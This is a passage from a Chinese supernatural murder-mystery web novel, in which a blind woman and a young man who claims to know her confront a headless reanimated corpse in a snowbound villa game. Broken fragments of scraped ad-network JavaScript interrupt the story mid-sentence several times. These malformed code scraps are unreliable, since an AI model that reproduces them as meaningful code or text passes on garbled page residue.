“可能在系统看来,我们一个看不见、一个不能说话,勉强能组成正常人吧……”
边说,她边注意着楚回的反应。
他紧皱着眉,一副不太开心的样子。
从听到有组队玩家时,楚回的眉头便皱了起来,这在官素月的意料之中,可随着她传达‘我有同伴’的隐晦警告和‘我们两个都不行’的信息后,他居然更不开心了。
官素月:“?”
大概是察觉到气氛有点沉默,楚回说话了:“原来是哥哥身份啊。”
“你们原来应该不认识吧?”他用上了担忧的语气,“姐姐要小心,剧本杀可是一种很知人知面不知心的游戏,每个玩家都有自己的秘密,就算暂时是组队的关系也不能太信任对方。”
这种程度的挑拨离间太明显了,却又有道理。
就是不太像刚认识的人会直接说的话,更不像是在剧本杀这种人人可能是凶手的悬疑游戏中、会对陌生人说出口的话,显得又过分好心又挑拨手段拙劣。
官素月:“……”
“是吗?”她若有所思地敛眉,“我会注意的。”
“等等,”楚回却又改口了,懊恼着道歉,“对不起姐姐,我好像是在挑拨离间,你那么厉害肯定在来之前就玩过剧本杀,这种最基础的非明写规则你肯定早就知道了。”
他小声嘀咕着,“只是见到你太开心了,没有控制住……”
官素月扬眉,“你认识我?”
楚回立刻点头,“是啊是啊,”
他明显不仅没有隐瞒的意思,还很积极主动地想让官素月知道,所以之前才那么热情,显得都有点神经了,“我是A大的新生,当然认识姐姐!”
官素月是A大的学生。
她意外失明的时候是大二,当时还需要处理学校的事,宿舍又不方便居住,她干脆就直接搬到大学附近的房子里住,住久了习惯了就一直住了下来,哪怕毕业也没有搬走。
说是在A大附近见过她,那可信度似乎蛮高的。
“怪不得你一开始就叫我姐姐,原来是学弟,”官素月对此持保留意见,面上却松了口气,露出一个笑,“不过,我毕业那么久了,新生还认识我?”
她苦笑,“不会是每年宣传各种安全活动的时候,老师们把我当反面案
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
例提了吧?”
官素月在A大很有名,因为她很漂亮。
大学和初高中都不太一样,因为没有固定教室,就算是同一个班也不一定一直在一起上课,各个系、各个专业和各个班都很疏远,但这并不意味着消息流传速度慢,甚至相反,稍有点风吹草动便会迅速传开。
从她报道开始,许多人便知道‘新一届有个很漂亮的新生’,上课去食堂取快递的时候都会特意绕绕路去新生训练的操场看。
不过在当事人毕业后,这种漂亮的传闻顶多维持一届,而官素月已经毕业多年。
“不是的,”楚回摇头,“我认识姐姐是因为我母亲在A大当老师,姐姐在A大的时候我就知道你了。”
“你住院的时候,我还跟着一起去看过你,不过当时你还没醒,探视也不能太久,所以只能留下一束郁金香……”
欸。
官素月反应了下,“楚院长?”
她住院后,是楚院长负责代替学校和老师表达关怀之情的。
出院后,楚院长也时常照顾她,偶尔就会提着据说是‘家里孩子又不小心买多了,吃不完’的各种东西来看望她。
楚回提到的郁金香花束,她也有印象。
综合听下来,各个细节都表明了楚回就是楚院长的儿子,官素月信了。
……才怪。
等出去问过楚院长再信不迟。
念头转动间,她的神情却越发温和,唇畔萦着笑,“原来你是楚院长的孩子,真巧。”
“谢谢你的花,虽然我看不见了,但当时用手摸过,很漂亮。”
楚回:“真的吗?姐姐喜欢就好。”
他露出大大的笑容,没再提之前被绕开的话题,而是道:“姐姐你现在要去哪里?是要探索别墅吗,我刚好有外出任务,一起行动吧?”
“这次的剧本杀里的玩家应该都是住在小区里的人,我是最先搬进小区的那一批,在三个月前搬的,这三个月陆续搬来了三个人,加上我们两个的话,这场剧本杀起码也有五个人。”
像是在边说边思考,他自然而然地加重了最后半句话,于是官素月轻而易举地读懂了一点:‘我们’。
她表情不变。
楚回继续往下说,语气担忧,“这么大的别墅,独自行动可能会……不如组队吧?”
“好呀,”官素月眼都不眨地答应了,“我的任务是要去花园,‘陈先生’可能在那里,你要去哪里?”
她答应的快,楚回接的也快,“咦,这么巧?我的任务是找‘陈先生。”
“我在房间里找到了一部分别墅的地图,花园应该在这边,我带你去吧,姐姐?”
他伸出手,握住官素月的右手小臂。
官素月这才发现他不愧是年轻热血的大学生,也可能是别墅里的供暖很足,他手的温度比她高很多,隔着一层薄薄的衣物都能让她有种被热烘烘犬类用肚皮压住的感觉。
“这样可以吗,姐姐?”
楚回问。
“可以,”官素月轻挣开,反手搭在他的手臂上,“不过还是我搭着你吧。”
她的手偏凉,楚回的袖子是捋起来堆折在手肘处的,她先轻落在他的小臂处确认位置、才又上移至有衣物的手肘处,而后动了动手,虚搭住了。
“走吧?”
过了几秒,楚回回答:“好的。”
5. 第五章
别墅的供暖很足,和外面的冰天雪地简直是两个世界,只有走到开着的窗边附近时,官素月才感受到了雪的寒意。
开着的窗户位于走廊尽头,一侧便是楼梯,有风卷着雪从窗户的缝隙吹进来,又转瞬间融化,留下一片湿漉漉的水迹。
“小心,地上有水。”楚回扶住官素月,手虚护在她的腰后。
走到楼梯口时,他遥遥地看了眼窗户,发现窗户和墙壁相连的地方结着一层厚厚的冰,有冰棱从窗外隐约探出。
他快步走过去关窗户,用力关了两下才关上。
官素月扶着楼梯间扶手,用盲杖向下探楼梯,一副盲人确认每层楼梯高度的样子,等楚回快步回来,她微笑着往下走,适时开口:“楚院长经常和我提起你。”
她没有空手了,握着盲杖的手是垂着的,被浅淡的阴影笼罩,只露出模糊的白,搭在扶手上的手倒是在灯光的照耀下,手指白皙而纤细,圆润的指尖亮了点反光。
因关窗,楚回的手比之前凉了些,他和官素月并肩而行,一只手伸开虚护在她的后腰,视线落在红棕楼梯扶手的那抹白上,露出状似认真思索的表情,“糟糕,不会是说坏话吧?”
“没有,对我来说不算是,我还要感激你呢,”官素月还是笑,“楚院长很好心,经常来看望我,每次来都会带一些以‘我家孩子买多了’为前缀的新鲜水果之类的东西。”
“谢谢你,刚出事的那段时间我都不用自己去菜市场或超市了。”
虽然她本来就不去。
按常理而言,这种敷衍的送东西理由,是送方和收方都默契懂得的借口,是想送东西时胡扯的理由,当不得真。
但楚回居然点头接下了,“后来被骂过几次就不带了……”
不止接下了,他看了看官素月,还很没有人类社会默契社交礼仪地小声说:“而且姐姐根本不去菜市场,平时也不做饭吧?反而是负担。”
官素月微怔。
她很快反应过来,扬了扬唇角,“没办法,我现在的状态可不适合做饭。”
她们走到了一楼。
一楼的客厅很大,壁炉散发着暖洋洋的光芒,靠内的一侧是餐厅,此时正有人在布置桌面。
荧光箭头径直地指向别墅大门。
楚回将手臂放在官素月原本扶住楼梯把手的那只手下,主动被搭住,他也看了眼餐厅,看到了里面有人,但提都没提,只语气欢快地说:“到一楼啦,花园在外面,等下推门出去可能会冷,进了走廊就好了。”
寒风卷着大雪花在天地间呼啸,推开门的瞬间风便灌了进来,别墅门外的两侧是两条玻璃走廊,她们快步走过门口的一小段无遮挡地带,进入暖烘烘的玻璃走廊。
玻璃走廊连接的是一个温室花园,里面盛满了灿烂绽放的鲜花。
但是,是菊花。
是白色的,几乎和外面的风雪融为一色的绿植白菊,很漂亮,可在现在令人不安的背景设定下像是一团团纯白的花圈。
浓烈的白撞进眼底,有那么一瞬间,官素月在思考:……葬、葬礼现场?
随后,她才看到几乎被白色淹没的一个男人。
男人坐在温室的中央,不知是在呆呆地看白菊还是在看越来越大的风雪,像在享用下午茶,听到声音,他缓缓回头,露出一张让人心里一咯噔的脸。
那张脸其实普普通通,就是正常中年老男人的脸,可脸色发青,眼底发黑,脸是僵着的,看起来浑浑噩噩的,像是个死了又爬出棺材的死人。
他穿着黑色的西装,脖子上又戴了条和西装极为不适配的红色围巾,围巾把他的部分下巴和肩膀都遮挡住了,像是红彤彤的血,很刺眼。
正是这一点红,官素月才那么快看到他。
而在看到他的那一瞬间,地上指路的荧光箭头消失了,系统提示弹出:「在花园里,你见到了‘陈先生’。」
「多年不见,你看到还好好活着的他,发现自己居然一点都没忘记仇恨,愤怒之火在你的心中熊熊燃烧着。」
「但[楚下属]在。」
「你只能压下怒火,冷冷地看着这个该死的东西,同时想起在交谈中时他所说的话:‘我还没活够,不会和你们单独见面的。这样吧,过几天我找个理由邀请几个不知情的人来,我们在聚会上见……理由嘛,我最近刚好对风水感兴趣,就说我想请大师帮忙转运,你们是大师找来的童男童女吧。’」
「‘童男童女’,这是你和哥哥明面上的身份,其他参加聚会的人只误以为你们和‘陈先生’素不相识,是为了钱而来。」
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
「这是一个很好的伪装身份,等‘陈先生’死亡,其他人绝不会想到和他素不相识的你们居然会是凶手。」
「主线任务已触发:杀死‘陈先生’。」
「注:未到[官妹妹]的行动回合,玩家暂不可行动。」
这个备注很有意思,是‘未到[官妹妹]的行动回合’,言下之意是……[官妹妹]有行动回合,那其他人也有喽?
官素月极快地瞥过提示,再次看向‘陈先生’,只是没看两秒,楚回便悄无声息地挡在了她的面前。
他轻声道:“姐姐,小心。”
“他是……”
死人。
第一眼,官素月就认出来了:‘陈先生’是个死人,是一具尸体,一个死了还能动、仿佛活着的不知名东西。
但凡是近距离见过死人的人,都能在看到‘陈先生’的时候反应过来他是一个死人,无他,死人和活人的区别实在是太大了,尤其是死了不止一时半会儿的死人。
但她有点意外楚回居然这么快反应过来,还这么肯定,她瞥过去一眼。
明明非常肯定‘陈先生’是死人,可在说出口时,楚回却迟疑了下,才更小声地道:“是尸体。”
边说,他边微侧首看向官素月,很怕她被吓到似的。
“……”官素月露出惊讶的表情,“尸、尸体?”
你不问,我不说,你一说,我惊讶.jpg
正在此时,‘陈先生’动了起来,他伸出手,手臂像硬邦邦的塑料模特,“[楚下属],你怎么还没走?”
这个招呼打得很敷衍不耐烦,他像想皱眉,但因为脸太僵没皱起来,于是头上下摇晃了几下,又热情地向只露出一点黑发的官素月打招呼:“这位小姐就是[官妹妹]吧?好,很好,你们终于到了,你帮我转运,我额外再付你们一百万!”
他不动的时候像尸体,动起来像诈尸的东西,说起话来有点手指挠喉咙的感觉,活人听起来只觉不自在、难受又悚然。
但尸体毫无自觉,脑袋摇晃着,终于挤出了个难看的笑表情,似乎是在表达喜悦,但看起来有那么点像饿的垂涎欲滴,“你怎么站[楚下属]后面?快出来让我看看是不是你。”
官素月沉默。
她手痒了。
6. 第六章
常杀人的朋友都知道,尸体诈尸是一种会令人很不满的状况。
官素月伸手,轻摁在楚回的肩上,微不可察地挠了两下,向旁边侧了一步,对‘陈先生’微笑:“是‘陈先生’吗?”
“别墅里的人太多,终于见到您了,您好。”
在面对玩家时装装柔弱可以,但遇到事太不能扛的话,就太柔弱了,会成为其他玩家不暇思索捏一下的软柿子。
她没有留指甲,指尖处只有短短的圆润感,并不锋利,只在最初用力重了些,轻搭在衣物上时半分都没有陷进入,在绷紧肩膀后,楚回几乎感觉不到如此轻的力道。
他本来已经打算开口接过‘陈先生’的注意力,现在敛眉安静下来。
‘陈先生’的眼睛是有点僵的,像是眼睛里很干涸,眼珠子不能润滑地转来转去,他定定地盯着官素月看,确认她真的应对自如后才遗憾着点点头,头颅又是一阵摇摇欲坠,“不多不多,别墅里的人刚刚好,刚刚好啊……”
他挥了挥手,“我在喝下午茶,天气太冷了,你们也来点吧?”
官素月眉头一跳:真是喝茶吗?
怎么听起来像想干掉活人呢。
但剧本杀系统一开始的提示中又有‘投票环节,玩家人数不可少于规定人数’的规则。
如果玩家被死者杀了,那……
郁郁葱葱的白菊几乎把‘陈先生’淹没了,也挡住了他坐着的桌椅,那是一套木质的桌椅,桌面上摆放着一些茶具,没有点心,只有一盏淡红的水,像铁锈水。
楚回闻声打量了几眼,很快小幅度摇头。
就在他传递信号的前一刻,官素月面不改色地婉拒了邀请,“多谢,不过我们为了……”
她点到即止地顿了顿,面庞向楚回偏了几息,才又笑着说下去,“他是您的下属,这里没有外人,应该可以说的吧?”
“我们为了尽快见到您和大师,以童男童女的身份协助您转运,赶路赶得有些急,现在还在晕车,恐怕短时间内不太能进口任何东西了。”
这说的很刻意,好处却显而易见,能令楚回立刻获得信息:怪不得她之前对来意闭口不谈,原来和‘陈先生’的奇怪举动有关,是不能对外人说的隐秘,要告诉他,就必须当着‘陈先生’的面。
他也开口,“是之前那位在公司布置祥云风水阵和锁鬼阵的大师吗?大师愿意出手真是太好了,昨天公司的发财树又死了,大家很惶惶不安,本来以为……”
这是一句本该有疑惑又庆幸的话,但他说起来毫无起伏,跟面无表情念剧本一样,没有丝毫要演一演的打算。
官素月看了他一眼,又去看‘陈先生’,有些若有所思:
1,‘陈先生’很迷信。
2,他似乎遇到了什么不太美妙的事。
所以公司的发财树‘又’死了。
发财树死了这种事,一般人的第一反应都是照顾不好水浇多了或有人使坏之类的,既然‘大家’都‘惶惶不安’,说明公司里的人认为是撞邪之类的非科学事件。
而在这种时候,‘陈先生’突然联系[官妹妹]说要补偿,给出的表面借口又是‘大师布置转运阵需要童男童女协助’……
他突然良心大发的原因似乎呼之欲出了:所谓的借口才是他的真实目的,他想用官家兄妹转运。
思绪浮动间,官素月发现大概是楚回直接爆底,‘陈先生’的脸比刚刚更青黑更僵了。
他刚刚的注意力还在她的身上,现在就已经转到楚回身上了,在瞪人,连说话的语气都更生硬,“……嗯!你话太多了,一定渴了,来,陪我喝杯茶。”
“[官妹妹],帮我们倒杯茶吧,你上次送我的茶叶不错,我还没喝完,今天刚好一起品鉴一下。”
茶叶?
官素月按着楚回肩膀的手加重了几分力气,以示自己很担心很紧张,思绪则立刻转到自己手提包中的茶叶罐上。
但很快,她发现‘陈先生’打开了桌子上的一个小盒子。
盒子里是一些茶叶,不多,只有一小撮了,他捧在手中低头闻了闻,铁青僵硬的脸居然舒缓了下来,“就剩一点了,唉。”
与之相反的,则是随着他的低头而几乎整个滚下去的头颅,红色的围巾则遮挡不住头颅和后颈裂开的大口子了,脖颈的横切面上是一片比围巾更明显的干涸深红,任谁一看都能轻而易举地判断出这具尸体肯定起码死一天了。
……官素月猜测,玩家们中一定有一个倒霉蛋是需要把死者的头砍下来的。
她由衷地希望不是自己。
当事尸体顺手扶住了快掉的头,似乎对自己很吓人的事一无所觉,陶醉地嗅完茶叶还抬头对她们笑,上气快消气也快,“快来吧,沏茶,[官妹妹],喝茶,[楚下属]。”
官素月:“……”
让盲人沏茶,你礼貌吗。
你一个尸体你能喝吗,喝了不会从脖子里流出来吗。
不过最想亲切问候‘陈先生’的人应
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
该是楚回,她看过去,发现他居然没什么表情波动,想了想后直接答应了,“好啊。”
那茶叶和水不知道是什么东西,喝茶要比沏茶更危险,但楚回握住官素月按在自己肩头的手,顺势扶着她往前走时,第一反应是低声安抚她,“晚上八点前,玩家不会死。”
嗯?
为什么,和阵法有关?
官素月用盲杖抵开一侧的菊花,判断:剧本杀中每个玩家都掌有一部分线索,所有玩家的线索组合起来才是真相,看来,迷信相关的重要信息是由[楚下属]提供。
她在桌边站定。
桌子上摆着一个人头大小的陶瓷茶壶,居然是热的,里面的水也是热水,掀开盖子后还冒出了一圈圈的白色蒸汽。
有一种若有若无的腥臭味在蔓延。
‘陈先生’完全没有拿官素月当盲人,直接将茶叶盒递过去,“沏吧。”
眼见邀人喝茶的目的达到,他再次消气,脸色又缓和了下来,带着一种‘’不和死人计较’的幽默美感,乐呵呵地道:“直接冲泡一下就好,不用真的沏,太麻烦了,好茶还是得快点喝啊。”
说完,看了看帮忙接过茶叶盒的楚回,他又补充,“但沏茶只能一个人来。”
为什么?
官素月向楚回的方向侧了侧脸,“好的。”
她摸索着慢慢取了两个空杯子,把茶叶放进去,又更慢地倒水。
热水潺潺而出,很快将茶叶浸泡起来,空气中那股淡淡的腥臭味陡然浓郁了起来,顺着热气扩散开。
官素月本来还以为腥臭味的来源是尸体,她顿了顿,又向楚回的方向侧了侧脸,表达了一下迟疑和担忧,才继续倒第二杯茶。
热水再次潺潺而出,是铁锈一样的不知名水,微红,不是完全的血,却比血更腥,令人心里更不安。
倒到一半时,有脚步声响起。
脚步声很轻,由远及近,在花园门口处停了下来,官素月侧首看去,发现来者是一个年轻人。
他穿着一套西装,西装外套搭在臂弯处,手臂上扣着袖箍,黑色的头发刚好和袖箍齐平,是束起来的,面无表情的,看上去很冷漠,停步时,他一侧的绿宝石耳饰还在摇晃。
整体看上去很时髦。
但他似乎是个比较阴郁的人,只抬头看了四五秒,便低下了头,垂下来的碎发几乎把他的眼睛完全遮挡住了,也让他完全避开了视线对视。
他说:“‘陈先生’,晚餐准备好了。”
7. 第七章
晚餐准备好了,那就是不用喝茶了,这是一件值得高兴的事。
但‘陈先生’大约很不高兴。
哪怕没有看过去,官素月都能感觉到气氛猛地一沉,这一刻,连隔着厚玻璃呼啸的寒风都好像小声了些,空气中似乎有无形的线绷紧。
前来汇报的年轻男人恍若未觉,安静地垂首,一副静候指令的样子。
因为垂首,他只露出黑色的发顶和一部分白色的脸颊,绿色的宝石耳饰也向下垂了几分,在空中转了几圈,最后被白色挡住。
官素月多看了几眼。
不知是不是错觉,在看到这位陌生人的脸时,她没什么感觉,但在他垂首后,她有些熟悉感,不多,很淡,模模糊糊的。
在搜寻了一圈记忆确定自己没见过这位还挺帅气的年轻人后,她收敛思绪,将脸庞转向楚回的方向,简单表达一下属于盲人的关心担忧。
一片沉甸甸的安静中,楚回伸手接过茶壶,面不改色地开口:“‘陈先生’提前让人准备晚餐了吗?怪不得我在房间里听见楼下有动静,原来是厨房有人。”
“您还要喝茶吗?喝的话我帮您把茶带过去,不过用餐时多饮水对身体不太好。”
‘陈先生’面色一片铁青,直直地瞪着楚回,瞪了几秒又去瞪前来通知的人,最后收回视线时,又瞪了瞪官素月。
瞪完全场后,他气闷了片刻,虽脸色更难看,但不情不愿地勉强开口,“既然晚餐已经准备妥当,那先请客人们用餐,别误了吉时。”
绿宝石耳饰男人闻声侧身,让开出口的位置,伸手做出‘请’的手势,“两位贵客请随我来。”
他还是垂着首,不露出整张脸,但因为身形修长,哪怕安静沉默也并不无害,反而像是会咬人的狗不叫或静静蛰伏的毒蛇,令人心觉警惕。
官素月握住盲杖,她刚隐晦地又打量了这位安静先生几秒,手臂便被扶住了。
楚回扶着她的手臂,刚刚面对‘陈先生’时无所谓到甚至有点挑衅的表情已经消失,转而出现的是有点活泼的开心表情,“这边,姐姐。”
他一只手轻握着官素月的手肘,一只手托着她的手腕,视线则落在她的脸上,看着她闻声侧了侧脸、抿唇露出了一个微不好意思的浅笑。
‘陈先生’没动。
许多盲人的听力都比常人出色,官素月不需借助眼睛看,都能从桌子那边的毫无动静判断出这一点,也没察觉到瞪在身上的视线。
那‘陈先生’在干什么?
他无法离开花园吗?
这个念头在脑海中浮现时,官素月的面上还是一片轻柔的笑,只是脚步不着痕迹地加快了几分。
但还未走出花园,刚即将走出菊花丛,身后的一片安静就被打破,传来了几乎微不可察的窸窸窣窣声,随后是茶杯和硬物碰撞声、水声。
……听起来,‘陈先生’在饮茶。
他发出的声音并不大,是正常人听到也会忽略的声音,但剧本杀这种环境,人类本就比平常更紧绷敏锐、反应也更快。
在声音响到一半时,楚回就听见了,他停住脚步回头。
官素月却没停,她不仅没停,还加快了脚步,牵着楚回几步走出了菊花丛,匆匆走到花园门口时才向后瞥去一点余光,看清后面发生了什么。
‘陈先生’确实在喝茶。
但他的脖子和头已经潇洒分家了,喝茶自然喝不进肚子了,于是在他一脸陶醉地将茶喝进嘴里时,茶水从他的脖子处涌了出来。
红围巾肉眼可见地湿了,红得越发妖艳,乍一看刺眼得仿佛是由血浸泡而成的红色。
官素月:“……”
享受着喝完了一杯,‘陈先生’又捧起楚回的那半杯,再次一饮而尽,给血围巾增添了一点风采。
两杯都喝完,他的脸上竟然露出了可惜之色,意犹未尽地又捧起茶壶去喝,不过这次只喝了一点,差不多是尝了尝味,就又嫌弃地丢开了。
他把两个杯子里的茶叶捞出来塞进了嘴里,像嚼口香糖一样咀嚼了起来,随着咀嚼,他脸上那些初见时像骨头一样僵硬的肌肉柔和了下来,不再那么像是一具处于尸僵状态的尸体,像是度过了尸僵又柔软下来的尸体。
直到彻底吃完,‘陈先生’才仿佛迟迟察觉到自己好像有点吓人、空气好像过于僵硬,抬头看来笑了几声,“哈哈,我这人有个毛病,生气的时候就是得沾点茶味,最好还得恨恨地把茶叶都嚼了,才能消气。”
“吓到你们了哈。”
他站起来,边转脖子边解开红围巾。
随着红围巾被扯开,他头颅和脖颈之间的一道血色伤疤露了出来,那里已是一片湿漉漉
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,随着他的左右转头,还有绿色的茶叶碎屑滚出,尽数沾到红围巾上。
茶叶碎屑黏糊糊的,让人生疑是否还有碎屑被水黏在脖子里。
于是‘陈先生’又随手抬头。
是字面意思上的抬头,他把头颅抬了起来,让头颅和脖子之间有了大约十几二十厘米的控制,用围巾擦了擦脖子的切口,还仔细地往里塞了塞,又是吸气又是咳嗽,忙碌又勤恳地把自己清理了一遍。
最后,他心满意足地将红围巾丢在了旁边的菊花丛中,大步走过来,“一喝完茶就黏黏糊糊的,还是得擦,现在终于舒服了,哎,怎么不走?”
“[官妹妹],你送的茶叶真是太好了,真的,你是不是在家里放了很久?勉强算是你和你哥哥的贴身之物吧……喝了很有效!大师说的果然不错!”
随着走近,刚刚倒茶时的那股腥臭味混杂着一种像是糯米的味道冲鼻而来。
官素月再次:“……”
她不是没见过尸体。
但还是第一次见这场面……有点掉san值。
不过在‘陈先生’抬头时,她就预感不妙地移开了视线,只从动静上听出他是在干嘛,此时面露茫然倒也理直气壮。
‘陈先生’在最前面快步走,绿宝石耳饰男则落垂首于后方,官素月和楚回走在中间,和前后两方都有一定的距离。
她轻声问:“你的手有点冷,你还好吗?”
刚刚,在‘抬头’环节,有那么一瞬,楚回握住她的力道加重了。
可能是受惊吧。
官素月维持着虚焦的眼睛,实则视线却定在了楚回脸上,观察他的表情变化。
“刚刚有点恶心,还好你没看见,”楚回低声抱怨,“那家伙居然把自己的头拔了下来!还使劲把围巾塞脖子里!”
他轻抖肩膀,甩去被恶心感,再次说:“还好姐姐你没看见。”
没什么表情异常……
官素月还在盯着楚回看,她慢慢地想:他没有察觉到吗?
一个尸体,居然对‘[官妹妹]送的茶叶’如此渴望,是有点奇怪的。尸体会喜欢什么、讨厌什么,又对什么格外关注呢?
在剧本杀的背景下,只要稍加思索,便能轻松推测出来几种可能。
比如:茶叶有毒,是[官妹妹]的作案工具。
8. 第八章
餐厅里亮着灯。
已经有人在窗边的沙发上坐着了,是个年轻男人,别墅里的供暖很足,但他却穿着暖白色的高领毛衣,手中捧着茶杯在慢慢地喝水,看起来温温柔柔的。
和窗外的白色世界搭配起来,他像是在度假。
听到脚步声,他转头看来,先看到‘陈先生’,脸上的微笑顿时收了许多。
虽没说话,但只要稍会读表情的,就能知道他此刻的想法:……光天化日,朗朗乾坤,怎么有尸体在动?
官素月看出来了。
她表情不变,打量了几秒,就发现楚回悄无声息地转脸过来看自己了,他看得很认真,目不转睛,声音很轻,“姐姐?”
“嗯?”官素月侧了侧首,没有眨眼睛,也小声询问,“是玩家吗?”
这短短的互动,足以令那位新玩家发现官素月是盲人了,他有些惊讶地站起来,出声打招呼,“诸位好,我是[闻画家],最近在为‘陈先生’画肖像画。”
说完,他又询问明显不正常的‘陈先生’,“‘陈先生’,您是身体不舒服吗?您今天的气色似乎……今天要画吗?”
他的头上浮现出了一个提示框:[闻明玉]
‘陈先生’并不怎么待见玩家,但或许是碍于某种规则,还是没好气地回复:“今天不用了,贵客刚来,我得好好招待一下。”
他自顾自地在餐桌前坐了下来,又用刁难的语气说:“不过你那些麻烦的画具可得提前收拾,别到要画的时候又临时说画不了!”
餐桌是长方形的长桌,共有七个位置,在短边处是主位,‘陈先生’正是在主位落座的,他的左右两侧分别排开了三个椅子,可奇怪的是右手边的椅子是从第一位开始排起的,左手边的椅子却是从第二位开始排起的,导致左侧最前端空了一块。
但餐具有八套,左一虽没椅子,却也放着一套餐具。
餐布很大,几乎垂在了地上,将餐桌下方完全遮挡住。
官素月的视线在宽大的餐布上停了几秒,便听到‘陈先生’的点名。
“[官妹妹],坐这儿,”他点了点右侧,“你哥哥坐你旁边吧。”
……这位‘陈先生’对她的在意也太明显了吧?
根本不掩饰。
连刚见的[闻画家]都惊讶侧目了,官素月扶着楚回走过去,没有立刻坐下,“晚餐是立刻开始吗,还有人没到齐吧?”
“其他人什么时候过来呢,是请人去通知,还是?”
餐桌是红色的,铺着白色的桌布,装饰着白色的手帕花,‘陈先生’抽出手边的一束手帕,擦了擦自己湿着的衣襟。
刚刚,他的僵硬程度分明缓和了,可短短片刻过去,像茶水已经逐渐失效了一样,他的身体又慢慢僵硬起来,手臂弯折的时候都是硬来的,此时闻言笑了笑,僵硬的面部挤出了一个古怪的表情,“请人去通知?”
“当然不,让人去通知,岂不是在直接说尊贵的客人们没有时间观念,连提前约定好的晚餐时间都不在意、会失礼地迟到?不不不,这样实在不礼貌了,不是主人所为。”
‘提前约定好的晚餐时间’?
官素月目前没获得过‘晚餐时间’的线索。
不过她接连撞见人,不仅没把房间里的每一个角落都搜索一遍,连手机都没仔仔细细地翻一遍,错过线索是正常的。
那试探的时候就要再三斟酌再三小心了。
如此思考着,官素月用余光扫视完了其他人,确定除了那位还低着头看不见表情的保镖、其他两人的脸上没因‘约定好的晚餐时间’露出惊讶的神情,便直接转向楚回,很低声地表达疑问,“嗯?”
“哦,对了,”楚回佯装回忆和后知后觉地反应过来,“我刚回禀完公司那边,和‘陈先生’您谈话时,您确实说过晚上七点是晚餐时间。”
他的表情其实有点假,“您不说我都差点忘了,大家都知道晚餐时间吗?”
闻明玉走过来,语气温和地补充自己的信息,“我是今天早上得知的晚餐时间,当时正要为‘陈先生’画肖像画,但是不巧,颜料冻住了。”
“应该每个人都知道吧?”他帮着回答楚回的问题,下一句却就是令尸体不高兴的话,“不过以防万一,我还是去通知一下大家吧,毕竟迟到就不好了。”
‘陈先生’的脸沉了下来。
他沉默半响,才阴森森地道:“……去吧。”
又再次看向官素月,装模作样地拍了拍脑袋,“对了,[官妹妹]和她哥哥是不久前刚来的,我忘了通知了,你就先去通知她哥哥吧。”
“去的时候可小心点,别迷路了。”
“不用通知我哥哥了,”官素月拿出手机,“我直接用手机通知吧。”
‘陈先生’的脸再次沉下去,对着闻明玉冷甩出一句话,“那你看着通知。”
“反正是你要去通知的,那七点前,六位客人都得到场!”
‘六位客人’?
官素月不动声色地扫过六张椅子和七套餐具。
如果保镖不算是客人的话,‘六位客人’不包括他的话,那别墅里的玩家共七位。
但座位和餐具怎么不配套?有个人不需要椅子吗?
而且‘陈先生’虽没明说,阴森森的口吻却相当于对闻明玉明说了:如果七点时有人迟到,不止迟到的人得遭受惩罚,你这个通知的人也得遭受惩罚。
别墅很大,他还特意提了迷路,说明要通知人不是一件特别容易的事。
这位[闻画家]能做好吗?
官素月思索着,脸庞侧了侧,面向闻明玉的位置,蹙眉露出了担忧的表情,“你知道其他人的位置吗?”
楚回倒是有别墅的部分地图。
突然,有声音从角落响起,“我领路。”
是一直低头的保镖,他还是低着头,社恐晚期似得抬都不抬一下,绿宝石耳饰倒是在轻微摇曳,“十分钟回来。”
他率先上楼了。
闻明玉有些意外,低声自言自语了一句,“奇怪,和剧本上人设不一样……”
声音不大,应该是太诧异了才忍不住说出声,很快,他便颔首
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,“那我先跟上去,一起去通知其他人,两位小心。”
他也上楼了。
从绿宝石耳饰男突然说话开始,‘陈先生’的脸色已经不是难看可以形容的了,铁青一片,他臭着脸张嘴呼吸,像活人气急时要大口呼吸调节心态,调节完,又盯上了官素月,“既然他们都走了,坐吧,[官妹妹]?”
桌布那么大,桌子下面指不定有什么东西呢,就算楚回信誓旦旦地说‘八点前玩家不会死’,官素月也不太想立刻坐下。
她用手机慢慢地编辑着短信,脸上露出了点歉意,“不好意思,我的眼睛……用餐的时候大概不太方便,可能要等我的哥、”
还未说完,楚回便突然发问:“座位是固定的吗?”
‘陈先生’本来看都不想看过去一眼,还臭着一张脸,但过了几秒,他看着官素月,像想起什么一样,眼珠子在眼眶里咕噜咕噜地转了转,皮笑肉不笑了起来,“当然是固定的。”
他将视线移向楚回的笑脸上,抬手指左边,“你,最后一个位置。”
又看向官素月,重复,“[官妹妹],坐我右手边,这里。”
左边最后一个,右边第一个,这两个位置是相隔最远的位置,官素月没转头看楚回的表情,但猜他的表情一定很糟糕,因为‘陈先生’的脸突然不臭了。
不仅不臭,还笑嘻嘻了起来,眼珠子转来转去,一会儿左眼突然咕噜到左下,一会儿右眼的眼珠子突然咕噜到眼眶的右上。
他还预判,“不许换位。”
官素月:“……”
她捏了捏楚回的小臂肌肉,意思意思地示意自己和他感同身受。
“……行,”楚回开口,官素月余光瞥见他又笑了起来,只是说话的咬音好像比之前重点,“那我先坐。”
他把官素月扶到右边第一个位置附近,低声说:“姐姐等我坐下再坐。”
而后走到左边最后一个座位前,抬手就是掀开桌布,在里面看了圈,声音很大地说:“原来桌布底下没东西啊,那用这么大的桌布干什么?对了,姐姐,你坐下的时候一定注意桌布,我们又不知道其他客人是谁,万一有人下流地在桌子底下搞小动作就不好了!”
是在告诉‘看不到’的官素月:坐下时离桌布远点。
但这蛐蛐得也太光明正大了吧?!
官素月耳观鼻鼻观心,用余光看了看‘陈先生’的脸色,发现他不笑了。
但他也没说什么,只铁沉着脸生闷气。
……这样都不对楚回动手吗?
‘八点前,玩家不会死亡’的可信度增加了,而且好像不只是‘不会死亡’,是‘怪物不会对玩家出手’。
八点过去会发生什么就不一定了……
